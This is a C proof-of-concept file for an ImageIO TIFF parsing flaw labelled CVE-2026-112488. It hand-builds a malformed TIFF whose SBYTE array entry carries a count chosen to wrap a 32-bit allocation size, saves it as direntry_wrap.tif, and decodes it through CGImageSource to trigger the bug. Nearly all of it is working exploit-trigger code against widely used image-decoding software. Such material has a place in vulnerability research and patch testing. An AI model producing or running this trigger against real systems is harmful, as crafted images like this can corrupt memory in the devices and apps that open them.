// iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488
// TIFF directory entry allocation 32-bit truncation
// C twin of the Swift POC: builds the wrapped-count TIFF and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112488 CVE-2026-112488.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run:   ./cve-2026-112488 [count]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

// ── seed construction (from Cinder27 Sources: TIFFPayload.dirEntryAllocWrap) ──
static buf tiff_dir_entry_wrap(uint32_t count) {
    buf out = {0};
    bcat(&out, "II\x2a\x00", 4);      // little-endian TIFF
    bput(&out, 8); bput(&out, 0); bput(&out, 0); bput(&out, 0);   // IFD0 at 8
    bput(&out, 3); bput(&out, 0);      // 3 entries
    // entry: ImageWidth SHORT 1 = 1
    bput(&out, 0); bput(&out, 1);
    bput(&out, 3); bput(&out, 0);
    bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
    bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
    // entry: ImageLength SHORT 1 = 1
    bput(&out, 1); bput(&out, 1);
    bput(&out, 3); bput(&out, 0);
    bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
    bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
    // entry: wrapped-count carrier, SBYTE (type 6) array, count << 0 wraps at 32 bits
    bput(&out, 0x00); bput(&out, 0x01);
    bput(&out, 6); bput(&out, 0);
    bcat(&out, (uint8_t[]){count & 0xff, (count >> 8) & 0xff, (count >> 16) & 0xff, (count >> 24) & 0xff}, 4);
    bcat(&out, (uint8_t[]){64, 0, 0, 0}, 4);   // value offset 64
    bput(&out, 0); bput(&out, 0); bput(&out, 0); bput(&out, 0);   // next IFD
    brep(&out, 0, 64);                        // value area
    return out;
}

// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>

static int decode_image(const buf *img, const char **detail) {
    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
    CFRelease(cf);
    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
    size_t frames = CGImageSourceGetCount(src);
    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
    static char r[256];
    if (cg) {
        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
        CGImageRelease(cg);
    } else {
        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
    }
    CFRelease(src);
    *detail = r;
    return cg ? 0 : -1;
}

int main(int argc, char **argv) {
    uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x20000000;

    buf tiff = tiff_dir_entry_wrap(count);
    FILE *f = fopen("direntry_wrap.tif", "wb");
    if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }

    const char *detail = NULL;
    int rc = decode_image(&tiff, &detail);
    printf("CVE-2026-112488 · count=0x%08x type=SBYTE · %s\n", count, detail ? detail : "?");
    printf("seed: direntry_wrap.tif (%zu B) · exit code %d\n", tiff.n, rc);
    bfree(&tiff);
    return rc == 0 ? 0 : 1;
}